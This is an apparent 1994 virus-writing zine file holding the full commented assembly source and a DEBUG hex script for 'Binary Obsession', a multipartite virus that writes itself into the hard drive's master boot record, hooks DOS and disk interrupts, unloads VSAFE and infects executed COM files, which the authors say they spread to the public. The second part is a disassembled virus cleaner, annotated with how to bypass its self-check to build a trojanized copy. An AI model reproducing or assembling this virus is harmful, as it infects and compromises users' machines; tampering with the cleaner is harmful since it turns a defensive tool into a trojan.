Insane Reality issue #6 - (c)opyright 1994 Immortal Riot                File 012

; ------------------------------------------------------------------------------
;
;                       - Binary Obsession -
;       Created by Immortal Riot's destructive development team
;                (c) 1994 Metal Militia/Immortal Riot 
;
; ------------------------------------------------------------------------------
;             Undestructive Harddrive & COM-file infector 
; ------------------------------------------------------------------------------

  Replicating:

   The first run a infected program is run, the virus will drop itself
   to the first sector on drive C:. The next time the the infected person
   reboots, it'll go resident and infect all comfiles executed.

   This version has no stealth, nor destructive features included.

  Anti-Virus-Detection:

   When we started to spead this virus to the public, it was undetectable
   from all scanners with the exception of tbscan. Well anyhow, if you get
   in trouble with this, there is a special-made anti-virus sprogram made
   by ratman below this code. Enjoy!


                .model  tiny
		.code
                .286
		org     100h

start:
                call    get_delta_offset        ; no comment needed (0e8h)
org_bytes:
                db      3 dup (?)               ; buffer for the 3 original 
                                                ; bytes
get_delta_offset:

                pop     bp                      ; fix the delta offset
		push    cs
		push    ss
                pop     ax                      ; AX equals SS and
                pop     dx                      ; DX equals CS

                cmp     dx,ax                   ; If they both equal, then
                                                ; we're being executed from
                                                ; a file..
		
                jne     were_on_harddrive       ; Else it's from the harddrive

                mov     dx,5945h                ; Removes the VSAFE program
                mov     ax,0fa01h               ; out of memory, this code is
                int     21h                     ; detected now-a-days though

                lea     bx,ss:[bp+600]          ; offset a more or less 'buffer'
                mov     cx,1                    ; 1 sector

                mov     dx,80h                  ; from the harddrive
                mov     ax,201h                 ; read it (MBR)
                int     13h

		
                cmp     byte ptr es:[bx],0E8h   ; Is the MBR already infected?
                jne     infect_mbr              ; if not, write ourselves there
                jmp     dont_infect_mbr         ; else just get the fuck out

infect_mbr:


                mov     cx,2                    ; sector 2
                mov     ax,301h                 ; write the MBR to it
                int     13h


		
		lea     si,[bp-3]
                mov     cx,virsize              ; our viruscode
                mov     di,bx
                rep     movsb                   ; copy it over the 1 sector but
                                                ; leave the partitiontable nice
                                                ; and workable, totally intact

                mov     cx,1                    ; now write our virus code
                mov     ax,301h                 ; to the MBR now that we've
                int     13h                     ; taken a "back-up" of it..

dont_infect_mbr:

                mov     si,bp                   ; offset 3 first bytes

                mov     di,100h
		push    di
                movsb                           ; copy them back again
		movsw 
                retn                            ; and then executed the
                                                ; original program

                db      "(c) Metal Militia/Immortal Riot" ; guess who?

were_on_harddrive:

                xor     ax,ax                   ; zero AX
                mov     ds,ax                   ; DS to AX

		mov     si,7C00h
                cli                             ; clear the interrupts
                mov     ss,ax
                mov     sp,si                   ; do the stack thing
                sti                             ; store the interrupts


		push    ax
		push    si
                sub     word ptr ds:[413h],2    ; decrease available memory with
                                                ; 2 kilobytes (only 1 needed?)
                int     12h                     ; get number of kb's left

                mov     cl,5
                add     cl,1
                shl     ax,cl
                mov     es,ax                   ; Convert the stuff into kb's


		push    cs
                pop     ds                      ; DS equals CS

                mov     cx,(realend-start)      ; Our viralcode
                mov     di,100h
                lea     si,[bp-3]
                rep     movsb                   ; Copy us up into the memory

                mov     ds,cx                   ; DS to CX
                xchg    ds:[13h*4+2],ax         ; Catch int13h and set it
                mov     ds:[0b6h*4+2],ax        ; to become 0b6h instead
                mov     es:int13zwei,ax         ; storage place
		
                mov     ax,offset our13         ; Now offset our int13 instead
		xchg    ds:[13h*4],ax
                mov     ds:[0b6h*4],ax
                mov     es:int13uno,ax          ; storage place

                mov     ax,offset backtoorg     ; 'call' our MBR part that does
                push    es                      ; a reading on the original and
                push    ax                      ; then jumps to it
                retf                            ; return far

backtoorg:

		pop     bx
		pop     es
                mov     cx,2                    ; sector 2
                mov     dx,80h                  ; on harddrive (C: unit)
                mov     ax,201h                 ; read it and wait
                int     0b6h

                db      0eah                    ; Now go jump to that spot in
                dw      7c00h,0                 ; order to execute the original

our13:
		push    ax
		push    ds
                sub     ax,ax                   ; Zero out AX
                mov     ds,ax                   ; DS equals AX
		
                cmp     word ptr es:[bx],5A4Dh  ; .EXE files starting w/'MZ' ?


                jne     not_ready_right_now     ; if not, retry until success
		
                cmp     ds:[0e5h*4+2],ax        ; Already in memory w/int21h?
                jne     not_ready_right_now     ; If so, fuck it.. outa here!

                mov     ax,cs
                xchg    ds:[21h*4+2],ax          ; Else, catch it and exchange
                mov     ds:[0e5h*4+2],ax         ; it with 0e5h instead..
                mov     cs:int21zwei,ax          ; Storage place

                mov     ax,offset our21          ; And offset our int21 thingy
                xchg    ds:[21h*4],ax
                mov     ds:[0e5h*4],ax
                mov     cs:int21uno,ax           ; Storage place

not_ready_right_now:

		pop     ds
		pop     ax
                db      0eah                    ; Back to the original int13h
int13uno        dw      0                       ; Storage for the original
int13zwei       dw      0                       ; 13h interrupt
		
our21:

		pusha
		push    ds
                push    es                      ; Save all registers
                                                ; except for the stack ones

                cmp     ax,4B00h                ; Execution of a file?
                je      file_infect             ; If so, lets go check it out
                jmp     computers_int21         ; else we're back to org21h


file_infect:

                mov     ax,4301h                ; Zero the attributes
                sub     cx,cx
                int     0e5h                    ; first abuse of the new int21h

                mov     ax,3D00h                ; Open it up
                int     0e5h
		
                xchg    bx,ax                   ; mov bx,ax
		
		mov     ax,1220h
		int     2Fh
		push    bx
		mov     ax,1216h
		mov     bl,es:[di]
                int     2Fh                     ; Point at the SFT thingy
                pop     bx

                or      word ptr es:[di+2],2    ; set to read/write ability
		push    cs
                pop     ds
		
                mov     ax,word ptr es:[di+0dh] ; read in date/time
                mov     cx,ax

                and     cl,00001111b            ; Is it seconds of our choice?
                cmp     cl,00000001b            ; If not, lets infect it
                je      closeitup               ; Yeah, lets freak out

                and     al,11110000b            ; Now set those bloody seconds
                or      al,00000001b

                mov     f_time,ax               ; Save file time
                mov     ax,es:[di+0fh]
                mov     f_date,ax               ; and date

                mov     cx,2                    ; 3 bytes (2 here)
                mov     ah,3Fh                  ; Read in
                inc     cx                      ; plus one here
                mov     dx,offset org_bytes     ; and offset to buffer
                int     0e5h

		
                xchg    dx,si                   ; point at it

                cmp     byte ptr [si],'M'       ; Is it an .EXE file w/'M'?
                je      closeitup               ; If so, leave it alone
		
                mov     ax,es:[di+11h]          ; Goto EOF with
                mov     dx,es:[di+13h]          ; the help of

                mov     es:[di+15h],ax          ; using these instead of the
                mov     es:[di+17h],dx          ; 4200h/4202h thingy
                
                dec     ax                      ; dec ax
                dec     ax                      ; three
                dec     ax                      ; times

                mov     byte ptr ds:jmp_x,231   ; jmp byte
                inc     jmp_x                   ; increase
                inc     jmp_x                   ; it twice
                mov     word ptr ds:jmp_x+1,ax  ; and yet add one
		
                mov     ah,30h                  ; Write to file (WTF 1/2)
                mov     cx,virsize              ; Size of the viral code
                mov     dx,100h                 ; Offset the start
                add     ah,10h                  ; WTF 2/2
                int     0e5h

                xor     ax,ax                   ; Goto SOF
                mov     es:[di+15h],ax
		
                mov     ah,20h                  ; Write to file (WTF 1/2)
                mov     cx,2                    ; 2 bytes
                add     ah,20h                  ; WTF 2/2
                inc     cx                      ; plus another one
                mov     dx,offset jmp_x         ; Offset the buffer
                int     0e5h
		
                mov     dx,f_date               ; original date
                mov     cx,f_time               ; original time
                mov     ax,5701h                ; Restore them
                int     0e5h

closeitup:
                mov     ah,3Eh                   ; Close file
                int     0e5h

computers_int21:
		pop     es
                pop     ds
		popa
                db      0eah                     ; Jump back to original int21h
virend:

int21uno        dw      ?                        ; Storage for the original
int21zwei       dw      ?                        ; 21h interrupt

virsize         equ     virend-start

f_date          dw      ?                         ; Storage place for
f_time          dw      ?                         ; file date/time

jmp_x           db      3 dup (?)                 ; JMP code buffer
realend:
		end     start
--------------------------------------------------------------------------------
N bocomm.com
E  100  E8 03 00 00 00 00 5D 0E 16 58 5A 3B D0 75 61 BA
E  110  45 59 B8 01 FA CD 21 8D 9E 58 02 B9 01 00 BA 80
E  120  00 B8 01 02 CD 13 26 80 3F E8 75 02 EB 1A B9 02
E  130  00 B8 01 03 CD 13 8D 76 FD B9 B9 01 8B FB F3 A4
E  140  B9 01 00 B8 01 03 CD 13 8B F5 BF 00 01 57 A4 A5
E  150  C3 28 63 29 20 4D 65 74 61 6C 20 4D 69 6C 69 74
E  160  69 61 2F 49 6D 6D 6F 72 74 61 6C 20 52 69 6F 74
E  170  33 C0 8E D8 BE 00 7C FA 8E D0 8B E6 FB 50 56 83
E  180  2E 13 04 02 CD 12 B1 05 80 C1 01 D3 E0 8E C0 0E
E  190  1F B9 C4 01 BF 00 01 8D 76 FD F3 A4 8E D9 87 06
E  1a0  4E 00 A3 DA 02 26 A3 02 02 B8 CF 01 87 06 4C 00
E  1b0  A3 D8 02 26 A3 00 02 B8 BD 01 06 50 CB 5B 07 B9
E  1c0  02 00 BA 80 00 B8 01 02 CD B6 EA 00 7C 00 00 50
E  1d0  1E 2B C0 8E D8 26 81 3F 4D 5A 75 21 39 06 96 03
E  1e0  75 1B 8C C8 87 06 86 00 A3 96 03 2E A3 BB 02 B8
E  1f0  04 02 87 06 84 00 A3 94 03 2E A3 B9 02 1F 58 EA
E  200  00 00 00 00 60 1E 06 3D 00 4B 74 03 E9 A6 00 B8
E  210  01 43 2B C9 CD E5 B8 00 3D CD E5 93 B8 20 12 CD
E  220  2F 53 B8 16 12 26 8A 1D CD 2F 5B 26 83 4D 02 02
E  230  0E 1F 26 8B 45 0D 8B C8 80 E1 0F 80 F9 01 74 71
E  240  24 F0 0C 01 A3 BF 02 26 8B 45 0F A3 BD 02 B9 02
E  250  00 B4 3F 41 BA 03 01 CD E5 87 D6 80 3C 4D 74 51
E  260  26 8B 45 11 26 8B 55 13 26 89 45 15 26 89 55 17
E  270  48 48 48 C6 06 C1 02 E7 FE 06 C1 02 FE 06 C1 02
E  280  A3 C2 02 B4 30 B9 B9 01 BA 00 01 80 C4 10 CD E5
E  290  33 C0 26 89 45 15 B4 20 B9 02 00 80 C4 20 41 BA
E  2a0  C1 02 CD E5 8B 16 BD 02 8B 0E BF 02 B8 01 57 CD
E  2b0  E5 B4 3E CD E5 07 1F 61 EA 
RCX
1b9
W
Q
--------------------------------------------------------------------------------

   Cleaner to Binary Obsession

   Here follow a disassembly to a remover to the above named 
   virus. The dissassembly sucks, but could be a great learning tool for
   those who want to write such programs..  

   Here follow the documentation included in IRM-KILL.ZIP.


   "         -  Killer for IR MultiPartitet Virus -

   Here's a Scanner/Killer for a new multipartite virus that I found today.
   A multipartite virus is a virus that is able to infect both files and boot-
   sectors (or MBRs). This virus is parasitic resident infector of .COM files
   and HD MBRs. The virus works like this: When an infected file is executed 
   the virus infects the HD(if not already infected) it will then allow the 
   infected file to execute. When the system is rebooted the virus in the MBR 
   will become active and will now infect .COM files that are excuted.

   The scanner will first check the HD for infection in the MBR - if the virus
   is present in the MBR the scanner assumes that the virus is already resident
   and displays a warning. In case of an MBR infection you should reboot from a
   floppy before trying to clean the system. The scanner checks all .COM files
   in the current directory, if an infected file is found the scanner will ask
   you if you wish to clean it. Cleaned files will get their original size and 
   time stamp.

   As always it might be a good idea to make backups of important files before
   trying to clean the system.					       /RatMan "

--------------------------------------------------------------------------------

		  Binary Obsession Cleaner
                    -   By Ratman   -


data_18e	equ	9CDh			;*
data_19e	equ	4F43h			;*

seg_a		segment	byte public
		assume	cs:seg_a, ds:seg_a


		org	100h

irm_kill	proc	far

start:

		mov	ah,9
		mov	dx,offset data_1	; ('IR Multi-Partite Virus K')
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx

;====( Here is the program's self-check routine )==============================;

		cmp	word ptr ds:data_18e,3E8h 
		jne	loc_1			

;               jmp     short loc_1		; 'Crack it'

; If you want it 'cracked', exchange the jne loc_1 to "jmp short loc_1" and
; voila!..  Program run like it wasn't modified..  All trivia really, and
; very usuful if one want a trojanized version of this program :). 

		mov	ah,9
		mov	dx,offset data_6	; ('Scanner fails Self-Check')
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx
		int	20h			; DOS program terminate

loc_1:
		mov	ax,201h
		mov	bx,offset data_15
		mov	cx,1
		mov	dx,80h
		int	13h			; Disk  dl=drive 0  ah=func 02h
						; read sectors to memory es:bx
						; al=#,ch=cyl,cl=sectr,dh=head
		cmp	data_15,3E8h
		jne	loc_2			; Jump if not equal
		mov	ah,9
		mov	dx,offset data_2	; ('Warning!: IR MultiPartit')
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						; get keybd char in al, ah=scan
		cmp	ah,15h
		jne	loc_2			; Jump if not equal
		mov	ax,201h
		mov	bx,offset data_15
		mov	cx,2
		mov	dx,80h
		int	13h			; Disk  dl=drive 0  ah=func 02h
						; read sectors to memory es:bx
						; al=#,ch=cyl,cl=sectr,dh=head
		mov	ax,301h
		mov	bx,offset data_15
		mov	cx,1
		mov	dx,80h
		int	13h			; Disk  dl=drive 0  ah=func 03h
						; write sectors from mem es:bx
						; al=#,ch=cyl,cl=sectr,dh=head
		mov	ah,9
		mov	dx,offset data_4	; ('Drive C: MBR is now Clea')
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx
loc_2:
		mov	ah,9
		mov	dx,offset data_5	; ('Scanning the files in th')
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx
		mov	ah,2Fh
		int	21h			; DOS Services  ah=function 2Fh
						; get DTA ptr into es:bx
		mov	ah,4Eh			
		mov	cx,7
		mov	dx,586h
		int	21h			; DOS Services  ah=function 4Eh
						; find 1st filenam match @ds:dx
		jc	loc_4			; Jump if carry Set
loc_3:
		call	sub_1
		mov	ah,4Fh
		int	21h			; DOS Services  ah=function 4Fh
						; find next filename match
		jnc	loc_3			; Jump if carry=0
loc_4:
		jmp	short $+3		; delay for I/O
		nop
		int	20h			; DOS program terminate

irm_kill	endp

sub_1		proc	near
		push	ax
		push	bx
		push	cx
		push	dx
		push	di
		push	si
		push	es
		push	es
		pop	ds
		push	cs
		pop	es
		mov	si,bx
		add	si,1Eh
		mov	di,58Ch
		mov	cx,0Fh
		push	cx
		push	di
		rep	movsb			
		pop	di
		pop	cx
		xor	al,al			
		cld				
		repne	scasb			
		mov	al,20h			
		rep	stosb			
		mov	byte ptr es:[di],24h	; '$'
		pop	es
		push	cs
		pop	ds
		mov	ah,9
		mov	dx,58Ch
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx
		mov	ax,3D02h
		mov	dx,bx
		add	dx,1Eh
		push	es
		pop	ds
		int	21h			; DOS Services  ah=function 3Dh
						; open file, al=mode,name@ds:dx
		mov	bx,ax
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						; move file ptr, bx=file handle
						; al=method, cx,dx=offset
		xor	cx,cx			; Zero register
		mov	dx,ax
		sub	dx,1B9h			; EOF-441
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						; move file ptr, bx=file handle
						; al=method, cx,dx=offset
		mov	ah,3Fh			
		mov	cx,1B9h			; 441 bytes
		mov	dx,offset data_15
		int	21h			; DOS Services  ah=function 3Fh
						; read file, bx=file handle
						; cx=bytes to ds:dx buffer
		cmp	data_15,3E8h
		jne	loc_5			; Jump if not equal
		mov	ah,9
		mov	dx,offset data_9	; ('is infected by IR MultiP')
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						; get keybd char in al, ah=scan
		cmp	ah,15h
		je	loc_7			; Jump if equal
		mov	ah,9
		mov	dx,offset data_11	; (' - No')
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx
		jmp	short loc_6
		db	90h
loc_5:
		mov	ah,9
		mov	dx,offset data_8	; ('is clean...')
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx
loc_6:
		mov	ah,3Eh
		int	21h			; DOS Services  ah=function 3Eh
						; close file, bx=file handle
		mov	data_15,0
		pop	si
		pop	si
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
loc_7:
		mov	ah,9
		mov	dx,offset data_10	; (' - Yes')
		int	21h			; DOS Services  ah=function 09h
						; display char string at ds:dx
		mov	ax,5700h
		int	21h			; DOS Services  ah=function 57h
						; get file date+time, bx=handle
						; returns cx=time, dx=time
		push	cx
		push	dx
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						; move file ptr, bx=file handle
						; al=method, cx,dx=offset
		mov	ah,40h			; '@'
		mov	cx,3			
		mov	dx,offset data_17
		int	21h			; DOS Services  ah=function 40h
						; write file  bx=file handle
						; cx=bytes from ds:dx buffer
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	21h			; DOS Services  ah=function 42h
						; move file ptr, bx=file handle
						; al=method, cx,dx=offset
		xor	cx,cx			; Zero register
		mov	dx,ax
		sub	dx,1B9h
		mov	ax,4200h
		int	21h			; DOS Services  ah=function 42h
						; move file ptr, bx=file handle
						; al=method, cx,dx=offset
		mov	ah,40h			; '@'
		mov	cx,0
		mov	dx,offset data_15
		int	21h			; DOS Services  ah=function 40h
						; write file  bx=file handle
						; cx=bytes from ds:dx buffer
		pop	dx
		pop	cx
		mov	ax,5701h
		int	21h			; DOS Services  ah=function 57h
						; set file date+time, bx=handle
						; cx=time, dx=time
		jmp	short loc_6
sub_1		endp

data_1		db	'IR Multi-Partite Virus Killer by'
		db	' -+ RatMan +-', 0Ah, 0Dh
copyright	db	'(C) 1994 RatMan - This program i'
		db	's free of charge for all use'
		db	'rs.', 0Ah, 0Dh, 'DISCLAIMER: Thi'
		db	's software is provided "AS IS"  '
		db	'without warranty of any kind,', 0Ah
		db	0Dh, 'either expressed or implied'
		db	', including but not limmited to '
		db	'the fitness for', 0Ah, 0Dh, 'any'
		db	' particular purpose. The entire '
		db	'risk as to its quality or perfor'
		db	'mance', 0Ah, 0Dh, 'is assumed by'
		db	' the user.', 0Ah, 0Dh, 0Ah, 0Dh, '$'
data_2		db	'Warning!: IR MultiPartite Virus '
		db	'found in MBR of Drive C: - Clean'
		db	' (Y/N)', 0Ah, 0Dh, '          (I'
		db	'f the System was booted from Dri'
		db	've C: you should reboot', 0Ah, 0Dh
		db	'           from a clean floppy b'
		db	'efore trying to clean your syste'
		db	'm.....)', 7, 0Ah, 0Dh, 0Ah, 0Dh, '$'
data_4		db	'Drive C: MBR is now Clean......', 0Ah
		db	0Dh, 0Ah, 0Dh, '$'
data_5		db	'Scanning the files in the Curren'
		db	't Directory.....', 0Ah, 0Dh, 0Ah
		db	0Dh, '$'
data_6		db	'Scanner fails Self-Check.....', 7
		db	0Ah, 0Dh, '$'
data_8		db	'is clean...', 0Dh, 0Ah, '$'
data_9		db	'is infected by IR MultiPartite V'
		db	'irus - Clean ? (Y/N)', 7, '$'
data_10		db	' - Yes', 0Ah, 0Dh, '$'
data_11		db	' - No', 0Ah, 0Dh, '$'
		db	0, 0
data_12		db	2Ah
		db	 2Eh, 43h, 4Fh, 4Dh, 00h
data_13		db	1
		db	63 dup (1)
data_15		dw	0
		db	0
data_17		db	0
		db	1021 dup (0)

seg_a		ends
		end	start
--------------------------------------------------------------------------------
N irm-kill.com
E  100  B4 09 BA 6B 02 CD 21 81 3E CD 09 E8 03 75 09 B4
E  110  09 BA 0E 05 CD 21 CD 20 B8 01 02 BB CC 05 B9 01
E  120  00 BA 80 00 CD 13 81 3E CC 05 E8 03 75 33 B4 09
E  130  BA DB 03 CD 21 B4 00 CD 16 80 FC 15 75 23 B8 01
E  140  02 BB CC 05 B9 02 00 BA 80 00 CD 13 B8 01 03 BB
E  150  CC 05 B9 01 00 BA 80 00 CD 13 B4 09 BA B5 04 CD
E  160  21 B4 09 BA D9 04 CD 21 B4 2F CD 21 B4 4E B9 07
E  170  00 BA 86 05 CD 21 72 09 E8 0B 00 B4 4F CD 21 73
E  180  F7 EB 01 90 CD 20 50 53 51 52 57 56 06 06 1F 0E
E  190  07 8B F3 83 C6 1E BF 8C 05 B9 0F 00 51 57 F3 A4
E  1a0  5F 59 32 C0 FC F2 AE B0 20 F3 AA 26 C6 05 24 07
E  1b0  0E 1F B4 09 BA 8C 05 CD 21 B8 02 3D 8B D3 83 C2
E  1c0  1E 06 1F CD 21 8B D8 B8 02 42 33 C9 33 D2 CD 21
E  1d0  33 C9 8B D0 81 EA B9 01 B8 00 42 CD 21 B4 3F B9
E  1e0  B9 01 BA CC 05 CD 21 81 3E CC 05 E8 03 75 1A B4
E  1f0  09 BA 3D 05 CD 21 B4 00 CD 16 80 FC 15 74 22 B4
E  200  09 BA 7C 05 CD 21 EB 08 90 B4 09 BA 2F 05 CD 21
E  210  B4 3E CD 21 C7 06 CC 05 00 00 5E 5E 5A 59 5B 58
E  220  C3 B4 09 BA 73 05 CD 21 B8 00 57 CD 21 51 52 33
E  230  C9 33 D2 B8 00 42 CD 21 B4 40 B9 03 00 BA CF 05
E  240  CD 21 B8 02 42 33 C9 33 D2 CD 21 33 C9 8B D0 81
E  250  EA B9 01 B8 00 42 CD 21 B4 40 B9 00 00 BA CC 05
E  260  CD 21 5A 59 B8 01 57 CD 21 EB A5 49 52 20 4D 75
E  270  6C 74 69 2D 50 61 72 74 69 74 65 20 56 69 72 75
E  280  73 20 4B 69 6C 6C 65 72 20 62 79 20 2D 2B 20 52
E  290  61 74 4D 61 6E 20 2B 2D 0A 0D 28 43 29 20 31 39
E  2a0  39 34 20 52 61 74 4D 61 6E 20 2D 20 54 68 69 73
E  2b0  20 70 72 6F 67 72 61 6D 20 69 73 20 66 72 65 65
E  2c0  20 6F 66 20 63 68 61 72 67 65 20 66 6F 72 20 61
E  2d0  6C 6C 20 75 73 65 72 73 2E 0A 0D 44 49 53 43 4C
E  2e0  41 49 4D 45 52 3A 20 54 68 69 73 20 73 6F 66 74
E  2f0  77 61 72 65 20 69 73 20 70 72 6F 76 69 64 65 64
E  300  20 22 41 53 20 49 53 22 20 20 77 69 74 68 6F 75
E  310  74 20 77 61 72 72 61 6E 74 79 20 6F 66 20 61 6E
E  320  79 20 6B 69 6E 64 2C 0A 0D 65 69 74 68 65 72 20
E  330  65 78 70 72 65 73 73 65 64 20 6F 72 20 69 6D 70
E  340  6C 69 65 64 2C 20 69 6E 63 6C 75 64 69 6E 67 20
E  350  62 75 74 20 6E 6F 74 20 6C 69 6D 6D 69 74 65 64
E  360  20 74 6F 20 74 68 65 20 66 69 74 6E 65 73 73 20
E  370  66 6F 72 0A 0D 61 6E 79 20 70 61 72 74 69 63 75
E  380  6C 61 72 20 70 75 72 70 6F 73 65 2E 20 54 68 65
E  390  20 65 6E 74 69 72 65 20 72 69 73 6B 20 61 73 20
E  3a0  74 6F 20 69 74 73 20 71 75 61 6C 69 74 79 20 6F
E  3b0  72 20 70 65 72 66 6F 72 6D 61 6E 63 65 0A 0D 69
E  3c0  73 20 61 73 73 75 6D 65 64 20 62 79 20 74 68 65
E  3d0  20 75 73 65 72 2E 0A 0D 0A 0D 24 57 61 72 6E 69
E  3e0  6E 67 21 3A 20 49 52 20 4D 75 6C 74 69 50 61 72
E  3f0  74 69 74 65 20 56 69 72 75 73 20 66 6F 75 6E 64
E  400  20 69 6E 20 4D 42 52 20 6F 66 20 44 72 69 76 65
E  410  20 43 3A 20 2D 20 43 6C 65 61 6E 20 28 59 2F 4E
E  420  29 0A 0D 20 20 20 20 20 20 20 20 20 20 28 49 66
E  430  20 74 68 65 20 53 79 73 74 65 6D 20 77 61 73 20
E  440  62 6F 6F 74 65 64 20 66 72 6F 6D 20 44 72 69 76
E  450  65 20 43 3A 20 79 6F 75 20 73 68 6F 75 6C 64 20
E  460  72 65 62 6F 6F 74 0A 0D 20 20 20 20 20 20 20 20
E  470  20 20 20 66 72 6F 6D 20 61 20 63 6C 65 61 6E 20
E  480  66 6C 6F 70 70 79 20 62 65 66 6F 72 65 20 74 72
E  490  79 69 6E 67 20 74 6F 20 63 6C 65 61 6E 20 79 6F
E  4a0  75 72 20 73 79 73 74 65 6D 2E 2E 2E 2E 2E 29 07
E  4b0  0A 0D 0A 0D 24 44 72 69 76 65 20 43 3A 20 4D 42
E  4c0  52 20 69 73 20 6E 6F 77 20 43 6C 65 61 6E 2E 2E
E  4d0  2E 2E 2E 2E 0A 0D 0A 0D 24 53 63 61 6E 6E 69 6E
E  4e0  67 20 74 68 65 20 66 69 6C 65 73 20 69 6E 20 74
E  4f0  68 65 20 43 75 72 72 65 6E 74 20 44 69 72 65 63
E  500  74 6F 72 79 2E 2E 2E 2E 2E 0A 0D 0A 0D 24 53 63
E  510  61 6E 6E 65 72 20 66 61 69 6C 73 20 53 65 6C 66
E  520  2D 43 68 65 63 6B 2E 2E 2E 2E 2E 07 0A 0D 24 69
E  530  73 20 63 6C 65 61 6E 2E 2E 2E 0D 0A 24 69 73 20
E  540  69 6E 66 65 63 74 65 64 20 62 79 20 49 52 20 4D
E  550  75 6C 74 69 50 61 72 74 69 74 65 20 56 69 72 75
E  560  73 20 2D 20 43 6C 65 61 6E 20 3F 20 28 59 2F 4E
E  570  29 07 24 20 2D 20 59 65 73 0A 0D 24 20 2D 20 4E
E  580  6F 0A 0D 24 00 00 2A 2E 43 4F 4D 00 01 01 01 01
E  590  01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
E  5a0  01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
E  5b0  01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01
E  5c0  01 01 01 01 01 01 01 01 01 01 01 01 00 00 00 00
E  5d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  5e0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  5f0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  600  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  610  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  620  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  630  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  640  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  650  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  660  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  670  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  680  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  690  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  6a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  6b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  6c0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  6d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  6e0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  6f0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  700  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  710  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  720  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  730  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  740  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  750  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  760  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  770  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  780  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  790  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  7a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  7b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  7c0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  7d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  7e0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  7f0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  800  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  810  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  820  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  830  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  840  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  850  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  860  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  870  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  880  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  890  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  8a0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  8b0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  8c0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  8d0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  8e0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  8f0  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  900  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  910  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  920  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  930  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  940  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  950  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  960  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
E  970  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
